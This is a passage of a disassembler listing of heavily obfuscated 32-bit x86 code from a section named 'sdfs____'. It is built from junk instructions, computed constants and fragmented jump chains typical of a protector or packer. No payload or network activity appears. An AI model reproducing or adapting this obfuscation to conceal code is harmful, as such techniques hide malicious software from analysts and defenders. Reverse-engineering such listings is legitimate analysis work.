		sub	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_598106
; ---------------------------------------------------------------------------


loc_5911BE:				; CODE XREF: sdfs____:0059680Bj
		push	ebp
		mov	ebp, 35C55593h
		sub	eax, ebp
		pop	ebp
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_59299D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_5911D2:				; CODE XREF: sub_594228-8492j
		add	ecx, 5ABACD44h
		jmp	loc_595255
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5911DD:				; CODE XREF: sdfs____:0058E3ECj
					; sub_591435-389j
		add	edx, edi
		pop	edi
		add	eax, edx
		pop	edx
		jmp	loc_59024A
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_5911E8:				; CODE XREF: sdfs____:0058DA4Fj
		push	ebx
		mov	bh, 7Fh
		mov	ch, bh
		pop	ebx
		xor	dl, ch
		mov	cx, [esp]
		add	esp, 2
		and	al, dl
		pop	edx
		push	41E3h
		mov	[esp], ebx
		jmp	loc_591A6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_591207:				; CODE XREF: sub_5962EB-6C34j
		add	esp, 4
		sub	ecx, 78D35A3Dh
		push	[esp-0Ch+arg_8]
		jmp	loc_59853F
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_591218:				; CODE XREF: sub_594228-8486j
					; sdfs____:00594379j
		push	esp
		pop	eax
		push	edx
		push	ebp
		push	6FD104EDh
		pop	ebp
		xor	ebp, 65C71C7h
		mov	edx, ebp
		pop	ebp
		jmp	loc_598B40
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_591230:				; CODE XREF: sdfs____:00594F90j
		sub	ebx, ecx
		pop	ecx
		push	edx
		push	ebx
		mov	ebx, 473C1CAFh
		mov	edx, ebx
		pop	ebx
		dec	edx
		shr	edx, 8
		add	edx, 76E2FEF6h
		sub	ebx, edx
		pop	edx
		jmp	loc_590F79
; ---------------------------------------------------------------------------


loc_59124F:				; CODE XREF: sdfs____:0059382Aj
					; sdfs____:00596A9Aj
		mov	ax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		sub	esp, 4
		jmp	loc_593427
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_591275:				; CODE XREF: sub_5987BC-B7C0j
		add	edx, ecx
		pop	ecx
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_58BF37
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------


loc_591288:				; CODE XREF: sdfs____:005912B9j
		push	69D0h
		mov	[esp], edx
		mov	edx, 59B37915h
		dec	edx
		push	eax
		push	edx
		jmp	loc_590B0C
; ---------------------------------------------------------------------------


loc_59129D:				; CODE XREF: sdfs____:0058C574j
		dec	ecx
		inc	ecx
		or	ecx, 7FD321C0h
		shr	ecx, 4
		neg	ecx
		xor	ecx, 6D8ED0B9h
		sub	ebp, ecx
		pop	ecx
		sub	edx, ebp
		pop	ebp
		xor	eax, edx
		pop	edx
		jmp	loc_591288
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_5912BE:				; CODE XREF: sub_5917C0+632Ej
		add	edi, 4
		xchg	edi, [esp+4+var_4]
		jmp	loc_58E924
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DB37


loc_5912CC:				; CODE XREF: sub_58DB37-17B5j
		mov	[esp+8+var_8], esi
		mov	esi, 5674F40h
		push	edx
		mov	edx, 13F6689Dh
		xor	esi, edx
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		push	edi
		mov	edi, 631D5504h
		neg	edi
		inc	edi
		not	edi
		not	edi
		push	ecx
		push	61C05416h
		pop	ecx
		not	ecx
		jmp	loc_5910F1
; END OF FUNCTION CHUNK	FOR sub_58DB37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_591300:				; CODE XREF: sub_5BB696-2E5C6j
		push	[esp+2Ch+var_2C]
		pop	edx
		jmp	sub_5976B0
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_591309:				; CODE XREF: sub_591435+750Ej
		sub	edx, 0F82EF890h
		mov	[edi+20h], edx
		jmp	loc_58D06E
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_591317:				; CODE XREF: sdfs____:00596CA3j
					; sdfs____:00597520j ...
		pop	esp
		push	eax
		push	esp
		mov	eax, [esp+8+var_8]
		add	esp, 4
		add	eax, 4
		jmp	sub_59841F
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_59132A:				; CODE XREF: sub_5BB696-22BF1j
		mov	dl, bh
		pop	ebx
		pop	ecx
		mov	ch, dl
		pop	edx
		mov	ebx, [esp+20h+var_20]
		add	esp, 4
		add	ch, 0AEh
		add	al, ch
		mov	ecx, [esp+1Ch+var_1C]
		jmp	sub_58EB23
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------


loc_591344:				; CODE XREF: sdfs____:00598B02j
		xchg	ebp, [esp]
		jmp	loc_59031C
; ---------------------------------------------------------------------------


loc_59134C:				; CODE XREF: sdfs____:00595846j
		xor	al, bl
		jmp	loc_58DFD9
; ---------------------------------------------------------------------------


loc_591353:				; CODE XREF: sdfs____:0058E40Fj
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		push	11A1h
		jmp	loc_58F64A

; =============== S U B	R O U T	I N E =======================================



sub_591370	proc near		; CODE XREF: sub_591435+46B0j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

; FUNCTION CHUNK AT 0058BF1E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058C3B0 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0058C4EB SIZE 0000003D BYTES
; FUNCTION CHUNK AT 0058C683 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058CA26 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058CA7A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058CD1B SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0058CDAE SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058D2AD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058D6E9 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058D728 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058D831 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058D842 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058DB81 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058DCF3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058DE01 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058E11E SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0058E41C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058E58A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058E5FC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058E7D3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058EAC4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058ED34 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058EE77 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058F6F5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058F9D9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058FB8C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058FBA9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058FBFE SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058FCCB SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058FFE7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059005E SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059015F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059025A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00590428 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005905F0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005906AC SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00590A61 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00590CB2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005910FC SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00591448 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005914B2 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0059150B SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00591771 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00591B96 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00591D28 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 00591F68 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00591FFB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00592095 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00592159 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00592523 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059266D SIZE 00000056 BYTES
; FUNCTION CHUNK AT 00592A37 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00592DF7 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005931AA SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059339E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005934E7 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00593566 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00593720 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00593799 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0059381D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00593857 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00593AC6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00593B43 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00593B66 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00594254 SIZE 00000047 BYTES
; FUNCTION CHUNK AT 005944CB SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00594501 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00594780 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00594876 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00594D19 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00594E2F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00594F61 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00595683 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00595953 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00595BEE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00595E06 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00595F2C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00596066 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00596320 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005963B6 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00596405 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059656D SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00596951 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00596EB1 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00596F40 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00597141 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005975A3 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00597628 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005976FE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005977BF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005977D8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00597A27 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00597E67 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00597ED4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00597FCE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00598018 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005982B5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00598397 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005984C0 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059872D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005987B6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00598989 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00598A0A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00598A70 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 00598B17 SIZE 0000000E BYTES

		sub	esp, 4
		mov	[esp+8+var_8], ebx
		push	ecx
		push	ebp
		mov	ebp, 26704A10h
		mov	ecx, 2D0D5C81h
		xor	ecx, ebp
		pop	ebp
		sub	[esp+0Ch+var_8], ecx
		pop	ecx
		pop	eax
		push	ebx
		push	edi
		mov	edi, 668D13B2h
		jmp	loc_596EB1
sub_591370	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_591397	proc near		; CODE XREF: sub_59841F-5AECj

var_3		= byte ptr -3
arg_2		= word ptr  6
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 005907D8 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00594118 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00594136 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00594D51 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005975CA SIZE 00000014 BYTES

		push	ebx
		inc	byte ptr [esp+1]
		pop	ebx
		sub	bh, 85h
		xor	bh, 3
		add	al, bh
		pop	ebx
		pop	ecx
		mov	dx, [esp+0]
		add	esp, 2
		sub	esp, 4
		mov	[esp+0], edx
		mov	dl, 20h
		neg	dl
		ja	loc_594118
		push	ecx
		push	eax
		mov	al, 3Eh
		shr	al, 3
		jnz	loc_594D51
		add	al, 0Ah
		mov	ch, al
		mov	eax, [esp+0]
		mov	ebp, ebx
		pop	edx
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	word ptr [esp-0Ah+arg_4+2], ax
		pushf
		jmp	loc_58B9C5
sub_591397	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E146


loc_5913E8:				; CODE XREF: sub_58E146+6j
		mov	[esp+4+var_4], edx
		push	7FF7h
		jmp	loc_59321D
; END OF FUNCTION CHUNK	FOR sub_58E146
; ---------------------------------------------------------------------------


loc_5913F5:				; CODE XREF: sdfs____:0058DCBDj
					; sdfs____:005953AFj
		mov	dh, bl
		pop	ebx
		mov	bl, 95h
		push	cx
		jmp	loc_595825
; ---------------------------------------------------------------------------


loc_591401:				; CODE XREF: sdfs____:00594159j
		sub	esp, 2
		mov	[esp], sp
		push	ax
		mov	ax, 2
		jmp	loc_5989A6
; ---------------------------------------------------------------------------


loc_591416:				; CODE XREF: sdfs____:loc_596073j
		sub	edx, 0DE272A1Dh
		mov	eax, edx
		jmp	loc_58EE9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_591423:				; CODE XREF: sub_59841F-C3FDj
					; sdfs____:loc_5950F5j
		add	ebx, 4
		push	ebp
		push	ebx
		push	1CE90F57h
		jmp	loc_58DFFD
; END OF FUNCTION CHUNK	FOR sub_59841F

; =============== S U B	R O U T	I N E =======================================



sub_591435	proc near		; CODE XREF: sub_597CE3-988Cj

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058B9DE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058BA1B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058BA4D SIZE 0000003F BYTES
; FUNCTION CHUNK AT 0058BB1D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058BBFF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058BD2F SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0058BE43 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058BEA6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058BEF0 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058BF95 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058C087 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058C418 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058C7DA SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058C8C0 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0058C9BA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058CEE0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058CF0B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058D029 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058D06E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058D081 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058D0B6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058D15D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058D1F9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058D43F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058D500 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058D610 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0058D702 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0058D779 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058D79E SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058DAB7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058DBDE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058DCDA SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058DD0A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058DE69 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058E1EA SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0058E243 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058E2A4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058E37C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058E4B9 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058E690 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058E890 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0058EACA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058EB07 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058ED65 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058ED98 SIZE 0000004A BYTES
; FUNCTION CHUNK AT 0058EFFE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058F173 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058F1CF SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058F264 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058F3ED SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0058F461 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058F53B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058F5A8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058F663 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058F6BC SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058F75F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058F845 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058F96D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058FA91 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058FB66 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058FBE3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058FC37 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0058FEA9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058FEFB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059013E SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059024A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059026D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059036F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059059E SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059060A SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0059073D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00590A13 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00590A97 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00590AA7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00590C75 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00590FE7 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00591023 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005910A9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059113D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00591170 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005911DD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591309 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059153C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005915B1 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0059166D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059176A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00591819 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00591952 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00591AB3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00591B52 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00591C05 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00591CFE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00591D65 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00591E39 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00591FCB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059205D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059219E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005924CA SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005926E5 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005928FE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00592A6E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00592C8F SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00592D52 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00592EA8 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00593291 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005933B9 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 005937D1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005938E9 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00593910 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005939D3 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00593A67 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00593ADA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00593B98 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00593C0D SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00593C79 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00593F52 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00594089 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005941FC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059448E SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0059450B SIZE 00000034 BYTES
; FUNCTION CHUNK AT 00594593 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00594710 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 00594933 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005949E2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00594A34 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00594CCC SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00594CF8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00594D40 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00594E11 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00595437 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005954AA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005955A4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005955FA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005957EE SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005959C8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00595AE2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00595B82 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00595C81 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00595DAB SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00595E58 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00595EAE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00595FE5 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059610A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005961BE SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005963D8 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005966F1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059678D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005967E3 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005968BC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00596A16 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00596C33 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 00596E14 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00596E4A SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00597478 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00597576 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005977A3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00597924 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059799B SIZE 0000003A BYTES
; FUNCTION CHUNK AT 00597A70 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00597D3F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00597DFD SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00597F1E SIZE 0000005C BYTES
; FUNCTION CHUNK AT 005981E4 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0059823E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059828A SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005982AD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059832E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00598377 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005983D3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059842A SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005984E5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059853A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00598664 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005986FF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005987F3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005988E7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059891C SIZE 0000003B BYTES
; FUNCTION CHUNK AT 00598AC2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00598B07 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00598DBF SIZE 00000006 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	esp
		push	[esp+8+var_8]
		pop	ebx
		add	esp, 4
		jmp	loc_58DD0A
sub_591435	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_591448:				; CODE XREF: sub_591370-4637j
		push	edx
		jmp	loc_59266D
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_59144E:				; CODE XREF: sdfs____:00590F1Bj
		add	eax, 2
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_597736
